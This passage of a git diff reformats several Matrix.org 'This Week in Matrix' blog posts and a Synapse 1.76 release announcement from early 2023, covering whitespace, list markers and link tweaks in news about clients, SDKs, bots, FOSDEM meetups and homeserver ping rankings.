sqlite db backend we ran into a terrible bug in the underlying library that led to eventually having to abandon that port and go with a fresh implementation based on a different library - we are confident to show something, at least for crypto-db, fairly soon. Talking about crypto, aside from a few [smaller](https://github.com/matrix-org/matrix-rust-sdk/pull/1348) [improvements](https://github.com/matrix-org/matrix-rust-sdk/pull/1365) the JS bindings on top have [gotten some typing improvements](https://github.com/matrix-org/matrix-rust-sdk/pull/1303) this week, too. -> +> +> Where there is light, there is shadow: When trying to integrate the community sqlite db backend we ran into a terrible bug in the underlying library that led to eventually having to abandon that port and go with a fresh implementation based on a different library - we are confident to show something, at least for crypto-db, fairly soon. Talking about crypto, aside from a few [smaller](https://github.com/matrix-org/matrix-rust-sdk/pull/1348) [improvements](https://github.com/matrix-org/matrix-rust-sdk/pull/1365) the JS bindings on top have [gotten some typing improvements](https://github.com/matrix-org/matrix-rust-sdk/pull/1303) this week, too. +> > [Timeline has support for state events now](https://github.com/matrix-org/matrix-rust-sdk/pull/1347), too. -> +> > On Sliding sync we are looking at [stabilization (tracking issue)](https://github.com/matrix-org/matrix-rust-sdk/issues/1359) and optimizing for time-to-first-usage ahead of FOSDEM and getting a first iteration into the hands of people out there as part of Element-X. It’s a painstaking process with [plenty of small fixes](https://github.com/matrix-org/matrix-rust-sdk/pull/1372) and improvements on all parts. Through that and debugging on the interaction with the higher layers we were already able to shave off 900ms at cold-start-display-time, with more to come and other fixes, like [logging improvements](https://github.com/matrix-org/matrix-rust-sdk/pull/1358), done along the way. -> +> > ️👉 Wanna hack on matrix rust? Go check out our [`help wanted` tagged issues](https://github.com/matrix-org/matrix-rust-sdk/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) and join our matrix channel at Matrix Rust SDK. ## Dept of Ops 🛠 @@ -191,8 +194,8 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [jaywink](https://matrix.to/#/@jaywink:federator.dev) reports > Matrix-Alertmanager, a bot to relay Alertmanager webhooks to Matrix rooms, got some new releases recently (latest v0.7.0). Basic auth is now supported for authentication and the Docker image size has been reduced by a large factor. -> -> https://github.com/jaywink/matrix-alertmanager +> +> ## Dept of Bots 🤖 @@ -200,11 +203,11 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [VaiTon](https://matrix.to/#/@vaiton:matrix.org) says -> Greetings, fellow music lovers (and matrix enjoyers)! I had a brilliant idea whilst lounging on my couch, stuffing my face with pizza, and realized that I was too darn lazy to keep opening Spotify every time I want to skip a song. And lo and behold, I discovered that there was no way to command my Spotify account from the comfort of my Matrix room. So, I decided to create a bot to do the job for me (how convenient, right?). -> +> Greetings, fellow music lovers (and matrix enjoyers)! I had a brilliant idea whilst lounging on my couch, stuffing my face with pizza, and realized that I was too darn lazy to keep opening Spotify every time I want to skip a song. And lo and behold, I discovered that there was no way to command my Spotify account from the comfort of my Matrix room. So, I decided to create a bot to do the job for me (how convenient, right?). +> > It's currently in its alpha state, but any contributions are welcome, especially if you're a coding wizard. -> -> To use it, all you need is a bot account on your favorite homeserver and a bit of setup magic. Check out the GitHub link for more information: https://github.com/VaiTon/matrixfy +> +> To use it, all you need is a bot account on your favorite homeserver and a bit of setup magic. Check out the GitHub link for more information: ## Dept of Events and Talks 🗣️ @@ -214,19 +217,19 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt > Are you as excited for FOSDEM 2023 as we are? > Do you want even more Matrix programming? (hehe) -> +> > Join us for our Matrix meetup and [BarCamp](https://en.wikipedia.org/wiki/BarCamp) at HSBXL ([how to get there](https://hsbxl.be/contact/), [how to get in](https://hsbxl.be/enter/)) on Friday (3. February) before FOSDEM starting 13:00 (1 pm) local time (CET) until the beer tasting starts in the evening. > Thanks to our sponsors, we will have Pizza 🍕 and drinks 🍻! -> +> > Find all the info [here](https://matrix.to/#/!eeSPmUJitRLAkJPaam:matrix.org/$HrWSAozbTwv_OyGdtsuGSV9gRIOkeRW9iTgQdTlvjo4?via=matrix.org&via=datanauten.de&via=sosnowkadub.de) and join [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) to stay updated and related discussion. -> +> > See you there! ## Dept of Interesting Projects 🛰️ [bcorn](https://matrix.to/#/@bcorn:matrix.org) says -> Hello everyone! I’m a CS Ph.D. student at the University of Washington. My team is studying users’ privacy concerns when reporting unwanted messages on encrypted messaging platforms (e.g., WhatsApp, Signal, Matrix). We have already talked with 14 E2EE users but near the end of our project, we would to understand how community moderators actually moderate their communities. You can learn more about the study here (https://homes.cs.washington.edu/~leijiew/projects/privacy-of-reporting.html). If anyone who has moderation experience is interested to participate in our one-hour online interview study, please feel free to DM me on Matrix. We can use any preferred medium you like (such as audio calls or texting). +> Hello everyone! I’m a CS Ph.D. student at the University of Washington. My team is studying users’ privacy concerns when reporting unwanted messages on encrypted messaging platforms (e.g., WhatsApp, Signal, Matrix). We have already talked with 14 E2EE users but near the end of our project, we would to understand how community moderators actually moderate their communities. You can learn more about the study here (). If anyone who has moderation experience is interested to participate in our one-hour online interview study, please feel free to DM me on Matrix. We can use any preferred medium you like (such as audio calls or texting). ## Dept of Guides 🧭 @@ -235,9 +238,9 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Ninananana](https://matrix.to/#/@nina:ninasstuff.xyz) announces > Hi everyone! -> +> > Some time ago, @james:ninasstuff.xyz and I became curious about using Matrix to bring together a split group of friends, of which half was on Signal and another half on Whatsapp. We knew that double bridging a Matrix room was possible, but we couldn't find a hands-on guide to do so. Therefore, we decided to write our own :) -> +> > Presenting it to you: [How to unite Signal and WhatsApp groups using Matrix](https://liarra.github.io/signal-wa-double-bridging). Hopefully some of you will find it useful! ## Dept of Ping @@ -245,6 +248,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -261,6 +265,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|bgme.me|1172.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/01/2023-01-27-this-week-in-matrix-2023-01-27.md b/content/blog/2023/01/2023-01-27-this-week-in-matrix-2023-01-27.md index 4b2a5f0af..d9a555f8c 100644 --- a/content/blog/2023/01/2023-01-27-this-week-in-matrix-2023-01-27.md +++ b/content/blog/2023/01/2023-01-27-this-week-in-matrix-2023-01-27.md @@ -29,21 +29,21 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) announces -> Well it's friday - which means (somehow) another week had gone by! Here at Synapse we have -> released v1.76.0rc2, with a host of new features and bugfixes. Of particular note is that -> as of this release, faster joins are on by default! This means that when joining a room for -> the first time, Synapse 1.76.0rc2 will request a partial join from the other server by default. +> Well it's friday - which means (somehow) another week had gone by! Here at Synapse we have +> released v1.76.0rc2, with a host of new features and bugfixes. Of particular note is that +> as of this release, faster joins are on by default! This means that when joining a room for +> the first time, Synapse 1.76.0rc2 will request a partial join from the other server by default. > Previously, server admins had to opt-in to this using an experimental config flag. -> +> > If you'd rather opt out of this feature for the time being you can use this setting -> +> > ```yaml > experimental: > faster_joins: false > ``` -> +> > in your server config. Take it for a spin and let us know how it goes -- please file an issue [here](https://github.com/matrix-org/synapse/issues/new?assignees=&labels=&template=BUG_REPORT.yml) if you find anything out of the ordinary after joining a room. -> +> > In addition, this release updates the default room version to v10, adds support for push rules for Polls, and so much more. > You can check out the release [here](https://github.com/matrix-org/synapse/releases). @@ -53,15 +53,16 @@ Second generation Matrix homeserver [Hyperbased in Hyperspace](https://matrix.to/#/@biehdc:reactos.org) reports -> ## Federate all the networks! -> +> ## Federate all the networks +> > TL;DR: You can now run Dendrite inside the [I2P network](https://geti2p.net/en/). [Dendrite I2P Port Code](https://github.com/BieHDC/dendrite/tree/main/cmd/dendrite-demo-pinecone-i2p) and [the binaries](https://github.com/BieHDC/dendrite/releases). The code and the binaries are also hosted on my I2P Site [biehdc.i2p](http://biehdc.i2p/?i2paddresshelper=OXPNfbmkPldhPj7m7iR8OtjUQWbCyBiM99Lghvo5x405c819uaQ-V2E-PubuJHw62NRBZsLIGIz30uCG-jnHjTlzzX25pD5XYT4-5u4kfDrY1EFmwsgYjPfS4Ib6OceNOXPNfbmkPldhPj7m7iR8OtjUQWbCyBiM99Lghvo5x405c819uaQ-V2E-PubuJHw62NRBZsLIGIz30uCG-jnHjTlzzX25pD5XYT4-5u4kfDrY1EFmwsgYjPfS4Ib6OceNOXPNfbmkPldhPj7m7iR8OtjUQWbCyBiM99Lghvo5x405c819uaQ-V2E-PubuJHw62NRBZsLIGIz30uCG-jnHjTlzzX25pD5XYT4-5u4kfDrY1EFmwsgYjPfS4Ib6OceNOXPNfbmkPldhPj7m7iR8OtjUQWbCyBiM99Lghvo5x405c819uaQ-V2E-PubuJHw62NRBZsLIGIz30uCG-jnHjXSigiRrao2DEfLFPof672O5yNJePrDxYPbVRD23bpidBQAEAAcAAA==). -> +> > The last week i worked on getting Dendrite to work on the I2P Network. It makes use of the existing [Pinecone](https://github.com/matrix-org/pinecone) infrastructure which gets enabled to dial on I2P with [a small patch](https://github.com/matrix-org/pinecone/compare/main...BieHDC:pinecone:main). This has the main advantage that servers will automatically discover each other if they share a node and you don't have to seek out others in the distributed network. I host a 24/7 Seednode for I2P right now. I have also put the work in to enable a landing page just like a monolith deployment would have and you can just [browse to it](http://3do33c5purkmidtcdxkqindjplcm3l6uv6qysc5a3pfa7fd7lv6q.b32.i2p/). This hopefully increases the visibility too! > However, it can also dial into the Clearnet too. It is hardcoded to the Seednode run by the matrix and dendrite developers themselves and it is disabled by default, but can be enabled with a command line switch. It effectively is making a bridge between the I2P Network and Clearnet. In order to bridge the gap between Pinecone based servers and normal matrix servers as well, I have also made a very simple [matrix2matrix bridge](https://github.com/BieHDC/go-matrix2matrix-noobbridge) which just connects to 2 (or more) Homeservers and exchanges the messages between 2 (or more) rooms. It also supports bridging and not-bridging files of any kind. > You could add other networks too as long as you can tie them together with Pinecone. For example, the [library](https://github.com/eyedeekay/onramp) i use to connect to I2P also supports Tor and it can be added to function just like the I2P implementation. All you need is something that exposes a HTTP Client and a listener. > My personal goal is to make matrix independent from domain registrars, open ports, static IP addresses and anything that makes self hosting harder than it should be and thankfully all the software we need is already written, it just takes someone to tie it together. -> +> +> > ![](/blog/img/20230127-twim.png) ## Dept of Clients 📱 @@ -71,7 +72,8 @@ Second generation Matrix homeserver [Krille](https://matrix.to/#/@krille:janian.de) announces > I have updated FluffyChat to the new Flutter version 3.7 which improves the performance and adds some more Material 3 components. Especially the new toggles look quite nice -> +> +> > ![](/blog/img/kNLjBjQDNuIMqYFxDzSwQfjk.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -81,7 +83,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) says > This week the web team have been working on: -> +> > * [MSC3946](https://github.com/matrix-org/matrix-spec-proposals/pull/3946) Dynamic Room Predecessors > * Continuing to improve the release & packaging processes > * Starting work on a design system @@ -95,19 +97,19 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) announces > * ElementX is continuing to make great strides as we now have: -> * state event rendering in both the timeline and room list -> * user display names in the room list and emotes -> * a mechanism for marking rooms as read on enter and exit (as a start) -> * improved timestamps on the room list last messages -> * a completely redesigned image loading mechanism -> * sliding sync room subscriptions on enter -> * design tweaks and improvements throughout the app -> * and a ton of performance improvements and fixes +> * state event rendering in both the timeline and room list +> * user display names in the room list and emotes +> * a mechanism for marking rooms as read on enter and exit (as a start) +> * improved timestamps on the room list last messages +> * a completely redesigned image loading mechanism +> * sliding sync room subscriptions on enter +> * design tweaks and improvements throughout the app +> * and a ton of performance improvements and fixes > * Meanwhile, Element 1.9.17 is ready to be released into the world -> * this version includes new formatting options in the Rich Text Editor (Labs): -> * you can now create lists, both bullet points and numbers, the choice is yours! -> * additionally, support for inserting quotes and better code formatting is available -> * and the Voice Broadcast feature (Labs) is more reliable and saw many bug fixes +> * this version includes new formatting options in the Rich Text Editor (Labs): +> * you can now create lists, both bullet points and numbers, the choice is yours! +> * additionally, support for inserting quotes and better code formatting is available +> * and the Voice Broadcast feature (Labs) is more reliable and saw many bug fixes ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -116,10 +118,10 @@ Secure and independent communication for Android, connected via Matrix. Come tal [benoit](https://matrix.to/#/@benoit.marty:matrix.org) announces > * Element 1.5.22 is ready and with some exciting feature updates and bug fixes, including: -> -> - Updates to polls and rendering -> - An improved Rich Text Editor experience (find it in Labs) -> - Improvements to the new voice broadcast feature +> +> * Updates to polls and rendering +> * An improved Rich Text Editor experience (find it in Labs) +> * Improvements to the new voice broadcast feature > * In Element X on Android we’re working on project setup and foundations, including automatic updates for the Rust SDK and custom themes. ## Dept of Non Chat Clients 🎛️ @@ -131,17 +133,17 @@ A curl like tool but just for matrix [saces](https://matrix.to/#/@saces:c-base.org) says > Working with curl and matrix - especially in constrained environments like read only containers - drove me nuts. Nuts enough to build my own version of curl that fits my needs. -> +> > main differences: -> -> - return code 0 means its the data you asked for -> - HTTP 429 (Rate limit) is retried by default, all other 'soft failures' fail -> - pass token via [mxpassfile](https://gitlab.com/determinant/mxpassfile) -> +> +> * return code 0 means its the data you asked for +> * HTTP 429 (Rate limit) is retried by default, all other 'soft failures' fail +> * pass token via [mxpassfile](https://gitlab.com/determinant/mxpassfile) +> > Its still some work left, but things in the readme should work. -> -> Source: https://gitlab.com/mb-saces/murl -> +> +> Source: +> > Room: [#murl:saces.de](https://matrix.to/#/#murl:saces.de) ### nheko-krunner ([website](https://github.com/LorenDB/nheko-krunner)) @@ -151,9 +153,9 @@ A KRunner plugin to list joined rooms and possibly other things from nheko. [LorenDB](https://matrix.to/#/@lorendb:matrix.org) reports > ## nheko-krunner 0.2.0 -> +> > nheko-krunner has had a new release! 0.2.0 brings support for the latest version of nheko, but it also adds a new feature: the KRunner plugin can be configured from KDE's System Settings app! Currently, the only configuration option is to change whether you are shown unread counts for rooms in the search results, but I can see this expanding in the future to add other useful configurations -> +> > If you are using openSUSE Tumbleweed, you should already have the update available to install! ## Dept of SDKs and Frameworks 🧰 @@ -165,8 +167,8 @@ Matrix bots in Rust and WebAssembly. If you're interested to follow the project, [bnjbvr](https://matrix.to/#/@bnjbvr:delire.party) says > This week, [ahal](https://github.com/ahal) contributed the _linkify_ module, which implements a generic way to create substitutions based on regular expressions and their matches in Matrix messages. -> -> For instance, it's possible to create a substitution so that when someone writes "issue #21" in the room, the bot will answer with "https://github.com/bnjbvr/trinity/issues/21". And since it's configurable at runtime, you can create such substitutions with any format you want, create automated links as you'd like, and configure it per Matrix channel. This opens up a new world of possibilities! Also this generalizes what this bot's predecessor, _botzilla_, did with 3 different commands for expanding Github / Gitlab / Bugzilla links, so Trinity has now reached feature parity with it! Woohoo 🥳 +> +> For instance, it's possible to create a substitution so that when someone writes "issue #21" in the room, the bot will answer with "". And since it's configurable at runtime, you can create such substitutions with any format you want, create automated links as you'd like, and configure it per Matrix channel. This opens up a new world of possibilities! Also this generalizes what this bot's predecessor, _botzilla_, did with 3 different commands for expanding Github / Gitlab / Bugzilla links, so Trinity has now reached feature parity with it! Woohoo 🥳 ### Trixnity ([website](https://gitlab.com/trixnity/trixnity)) @@ -175,23 +177,25 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) says > Trixnity [3.2.0](https://gitlab.com/trixnity/trixnity/-/releases/v3.2.0) is released. -> +> > ### performance improvements and FOSDEM 23 -> +> > The most exciting change regarding more performance are asynchronous database transactions. This means that the cache stores values not only for reading from, but also for writing to the database. So every database transaction is executed asynchronously to the caller who changes values. This allows really fast sync processing even on slow systems like smartphones. This also removes delays in the UI, because changes are immediately applied (on the cache level). This was a problem with databases which don't allow parallel write transactions (like realm). This problem also seems to appear in Element Android and its realm database (at least with my huge account). Despite that, I've made some other improvements regarding the cache and sync processing. -> +> > I also added a simple benchmark to see how good the improvements are. The test creates 50 encrypted rooms and sends 10 messages to each room. The database is in-memory, but writing is simulated with a 10ms and reading with 5ms delay. Before the optimizations the sync needed 20s to be processed. After the optimizations it needed 5s. So 400% faster. In practice, with my relatively huge matrix account (200+ rooms) the initial sync took 2.5s (after waiting 30s for the server response) on the desktop. But this is just a teaser. If you want to know more, you'll have to wait another week for my Trixnity talk on FOSDEM 23. Contact me if you have topics that should definitely be included in the talk. 30 min are unfortunately filled quickly. -> +> > ### IndexedDB support -> +> > I've added IndexedDB as a new database and media backend for web. Really cool to see Trixnity in the web with a persistent database. -> +> > ### fallback keys and room key requests +> > Fallback keys are now supported by Trixnity. Furthermore room keys requests are answered and room keys are requested (when key backup is disabled) from own verified devices. -> +> > ### TL;DR -> +> > features/improvements: +> > * add async transactions > * add IndexedDB as database and media backend > * support olm fallback keys @@ -199,12 +203,14 @@ Multiplatform Kotlin SDK for Matrix > * add `usersTyping` to `UserService` > * use one large transaction for sync processing > * add SSO login type -> +> > breaking changes: +> > * remove sqldelight as database > * API change in `Timeline` to get more information from `loadBefore` and `loadAfter` -> +> > bug fixes: +> > * don't calculate room name, when room summary did not change > * PBKDF2 salt should not be decoded as base64 @@ -215,7 +221,7 @@ Multiplatform Kotlin SDK for Matrix [HER0](https://matrix.to/#/@HER0:matrix.org) says > I created [flip-matrix-bot](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot) to allow anyone in my inclusive Linux gaming community (`#community:flip.earth`) to schedule gaming events through a CLI-like chat interface. This recently reached a minimum viable state, and I'm excited to finally have community driven event hosting! This was made using the [matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk). -> +> > While this currently has some hardcoded references to the FLiP community, and so has limited usefulness outside of it at the moment, anyone who is interested in the bot is welcome to join `#flip:flip.earth` to use it in production, or `#bots:flip.earth` to see it being tested. ## Dept of Events and Talks 🗣️ @@ -225,19 +231,20 @@ Multiplatform Kotlin SDK for Matrix [Thib](https://matrix.to/#/@thib:ergaster.org) announces > The Matrix Foundation and Community will gather at FOSDEM on February 5, in the morning in our in-person devroom, and in the afternoon in our online devroom. We have a [great line-up with exciting talks on Sunday](https://fosdem.org/2023/schedule/track/matrix/), and Matthew will tell you [How we're making Matrix go voom](https://fosdem.org/2023/schedule/event/matrix20/) in a main track talk, holding [the promise we made this summer](https://matrix.org/blog/2022/08/15/the-matrix-summer-special-2022#matrix-20). -> +> > We will also have a stand and we can't wait to see you there in person if you have the opportunity to come! [HarHarLinks](https://matrix.to/#/@kim:sosnowkadub.de) says -> #### [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) +> #### [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) +> > This is a quick reminder about the matrix community meetup/[barcamp](https://en.wikipedia.org/wiki/BarCamp) next ~~TWIMday~~Friday February 3 starting 13:00 local time (in the [FOSDEM fringe](https://fosdem.org/2023/fringe/)). We meet at HSBXL who are kindly offering their space for us to use ([how to get there](https://hsbxl.be/contact/), [how to get in](https://hsbxl.be/enter/)). There will be food and drinks thanks to our sponsors. -> +> > A note from HSBXL: -> > I would recommend to dress warm. HSBXL is located in an old industrial building, therefore the location is not especially well isolated. We will fire up the heaters but warm close are still recommended. -> +> > I would recommend to dress warm. HSBXL is located in an old industrial building, therefore the location is not especially well isolated. We will fire up the heaters but warm close are still recommended. +> > Find all info [here](https://matrix.to/#/!eeSPmUJitRLAkJPaam:matrix.org/$HrWSAozbTwv_OyGdtsuGSV9gRIOkeRW9iTgQdTlvjo4?via=matrix.org&via=datanauten.de&via=sosnowkadub.de) and join [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) if you are thinking about attending. -> +> > See you in Brussels! ### Matrix User Meetup Berlin @@ -245,11 +252,11 @@ Multiplatform Kotlin SDK for Matrix [saces](https://matrix.to/#/@saces:c-base.org) says > Next Matrix user meetup 1.2.2023, 8 pm @ c-base -> +> > Meet other matrix users, chat about Matrix, the rest, and everything else, discuss your Matrix ideas, sign each other in persona, and maybe spice the evening with a good mate or beer. -> +> > Every first Wednesday of the month in the c-base at 8pm ('til the next pandemic). -> +> > Matrix room: [#mumb:c-base.org](https://matrix.to/#/#mumb:c-base.org) ## Dept of Ping @@ -257,6 +264,7 @@ Multiplatform Kotlin SDK for Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -273,6 +281,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.org|577| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/01/2023-01-31-synapse-1-76-released.md b/content/blog/2023/01/2023-01-31-synapse-1-76-released.md index 483b93ffc..0adc7a483 100644 --- a/content/blog/2023/01/2023-01-31-synapse-1-76-released.md +++ b/content/blog/2023/01/2023-01-31-synapse-1-76-released.md @@ -22,7 +22,7 @@ had to opt-in to this using an experimental config flag. Server admins can opt out of this feature for the time being by setting -``` +```yaml experimental: faster_joins: false ``` @@ -47,7 +47,6 @@ cut to ~20-30 seconds to partially join in the new release. Those of you who hav a huge undertaking, big shout out to the team for getting it over the line! We're excited the community to try it, as always if you encounter any problems you are encouraged to file an [issue](https://github.com/matrix-org/synapse/issues/new?assignees=&labels=&template=BUG_REPORT.yml). - ### Changes to the account data replication streams Please note that Synapse has changed the format of the account data and devices replication streams (between workers). @@ -56,7 +55,6 @@ workers, and vice versa. Once all workers are upgraded to v1.76 (or downgraded to v1.75), account data and device replication will resume as normal. - ## The new stuff ### The default room version has now been updated to [v10](https://spec.matrix.org/v1.5/rooms/v10/) @@ -67,14 +65,12 @@ rule allows for prospective members of a room to join either through knocking or prospective members to join a restricted room based on whether they are a joined member of another room. You can read more about restricted rooms [here](https://spec.matrix.org/v1.5/client-server-api/#restricted-rooms). - ### Synapse now implements experimental support for [MSC3930](https://github.com/matrix-org/matrix-spec-proposals/pull/3930) Push rules for Polls Synapse has added some new, default push rules for [MSC3881](https://github.com/matrix-org/matrix-spec-proposals/pull/3381)-esque event types. This allows for notifications from polls, ie when a poll starts or ends. - ## Everything else See the full [changelog](https://github.com/matrix-org/synapse/releases/tag/v1.76.0), for a diff --git a/content/blog/2023/02/2023-02-03-this-week-in-matrix-2023-02-03.md b/content/blog/2023/02/2023-02-03-this-week-in-matrix-2023-02-03.md index ff654b494..eda0f56b7 100644 --- a/content/blog/2023/02/2023-02-03-this-week-in-matrix-2023-02-03.md +++ b/content/blog/2023/02/2023-02-03-this-week-in-matrix-2023-02-03.md @@ -30,47 +30,42 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) announces > Hello TWIM! It's another week and here at Synapse we released -> v1.76.0. The big news for this release is that faster joins are now -> enabled by default. It has arrived 🚀! In addition, some other notable +> v1.76.0. The big news for this release is that faster joins are now +> enabled by default. It has arrived 🚀! In addition, some other notable > features are: -> +> > * Updated the default room version to v10 > * Added a `set_displayname()` method to the module API for setting a user's display name > * Implemented support for [MSC3890](https://github.com/matrix-org/matrix-spec-proposals/pull/3890): Remotely silence local notifications > * Implemented experimental support for [MSC3930](https://github.com/matrix-org/matrix-spec-proposals/pull/3930): Push rules for ([MSC3381](https://github.com/matrix-org/matrix-spec-proposals/pull/3381)) Polls > * Add index to improve performance of the `/timestamp_to_event` endpoint used for jumping to a specific date in the timeline of a room -> +> > and much more! You can read all about it [here](https://github.com/matrix-org/synapse/releases/tag/v1.76.0). Also, please note that the upgrade from 1.75 to 1.76 changes the account data replication streams in a backwards-incompatible manner. Server operators running a multi-worker deployment should consult [the upgrade notes](https://github.com/matrix-org/synapse/blob/release-v1.76/docs/upgrade.md#changes-to-the-account-data-replication-streams). ## Dept of Clients 📱 - - ### Nheko ([website](https://nheko-reborn.github.io)) Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports -> # Nheko -> > We did a lot of work on our markdown input this week. mauke finally fixed those pesky links with a closing parenthesis at the end from dropping that when linkified, without breaking links inside parentheses. Yes, it is still a regex and possibly outlawed in many civilized countries for having detrimental side-effects on society, but it works, so who am I to argue! Additionally we changed the newline behaviour (and fixed a bug related to line-breaks as well). A single line-break now corresponds to a line-break. You can find more about that decision [here](https://fosstodon.org/@deepbluev7/109771668066978726) and [here](https://github.com/Nheko-Reborn/nheko/issues/757). You can opt out of that behaviour and other changes we do to the default cmark/commonmark behaviour using the new `/cmark` command. Speaking of other changes, we now support `||warning|spoiler||` as a way to enter spoilers, with the warning being optional as well as `~~text~~` for strike-through. -> +> > There is also now a workaround for Wayland users, who were bothered by stuck menus. This still needs to be fixed in Qt eventually, but in the meantime you can now close menus by clicking somewhere inside of Nheko thanks to a contribution by enigma9o7. Decodetalkers also made Nheko clean up notifications on exit and the fullscreen image overlay hide, when the save dialog is open. You can create DMs by pasting an mxid again now. Previously you needed to delete and re-enter the last character... The username completer should also now open around twice as fast and clicking notifications now once again restores Nheko from the tray. The last goodie was contributed by Malte. The invite dialog inside a room can now search for users you have a DM open or the server side userdirectory for suggestions. -> +> > Also, I am attending FOSDEM, so let's see if you can find me! +> > ![](/blog/img/bfowgNvJjYlEcOmhVWKdTXoL.png) ### FluffyChat ([website](https://fluffychat.im)) - - [Krille](https://matrix.to/#/@krille:janian.de) reports > #fluffychat 1.9.0 has been released with some bugfixes, performance improvements and more Material You design. It now even uses the accent color on Ubuntu. -> +> > FluffyChat now is built with Flutter 3.7 -> +> > * Translated using Weblate (Czech) (Michal Bedáň) > * Translated using Weblate (Czech) (grreby) > * Translated using Weblate (Dutch) (Jelv) @@ -107,6 +102,7 @@ Desktop client for Matrix using Qt and C++17. > * style: Animate in out search results (Krille) > * style: New modal bottom sheets (Krille) > * style: Redesign public room bottomsheets (Krille) +> > ![](/blog/img/cxFbMlDYEipCvanmUZVLHLQD.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -115,12 +111,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Johannes Marbach](https://matrix.to/#/@johannesm:element.io) says -> # Element Web/Desktop -> -> * Further progress on [MSC3946](https://github.com/matrix-org/matrix-spec-proposals/pull/3946) (Dynamic Room Predecessors), expecting to wrap the majority of work up next week -> * Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases -> * Stuck notifications increasingly turn into a problem. So we've adapted our roadmap to prioritize fixing them, starting with adding tools for easier debugging of the issue. -> * Even more news on notifications: We started implementing [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) (intentional mentions) and continue to iterate on the design for a new settings page and defaults +> * Further progress on [MSC3946](https://github.com/matrix-org/matrix-spec-proposals/pull/3946) (Dynamic Room Predecessors), expecting to wrap the majority of work up next week +> * Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases +> * Stuck notifications increasingly turn into a problem. So we've adapted our roadmap to prioritize fixing them, starting with adding tools for easier debugging of the issue. +> * Even more news on notifications: We started implementing [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) (intentional mentions) and continue to iterate on the design for a new settings page and defaults ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -129,9 +123,9 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > ## Element iOS -> +> > * This week the team has been preparing for FOSDEM. It’s on this weekend and there will be lots of exciting things happening so don’t miss out! -> * In Element X our focus has been on speed. We want the new app to be so fast you’ll blink and miss any loading. That’s being baked in right from the start and we’re really pleased with where we are today. +> * In Element X our focus has been on speed. We want the new app to be so fast you’ll blink and miss any loading. That’s being baked in right from the start and we’re really pleased with where we are today. > * We’ve also been working on improving the polls and rich text editor features. ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -140,8 +134,6 @@ Secure and independent communication for Android, connected via Matrix. Come tal [benoit](https://matrix.to/#/@benoit.marty:matrix.org) says -> # Element Android -> > * Our Android team has been preparing an Element X: Android demo for this week’s FOSDEM conference. There will be developer access available too so come along to the talk and check it out! > * Polls and the rich text editor (labs) features have also been getting some love this week so keep a look out for those improvements. @@ -150,18 +142,20 @@ Secure and independent communication for Android, connected via Matrix. Come tal [imbev](https://matrix.to/#/@imbev:matrix.org) says > ## matrix-social -> +> > matrix-social is a social media client powered by Matrix. -> +> > * Posts can now be viewed per-room > * Commenting (replying) from matrix-social is now possible > * Optimizations to binary size > * We are now working on joining rooms -> -> Preview matrix-social at https://imbev.codeberg.page/matrix-social/ -> +> +> Preview matrix-social at  +> > All are welcome to join us at 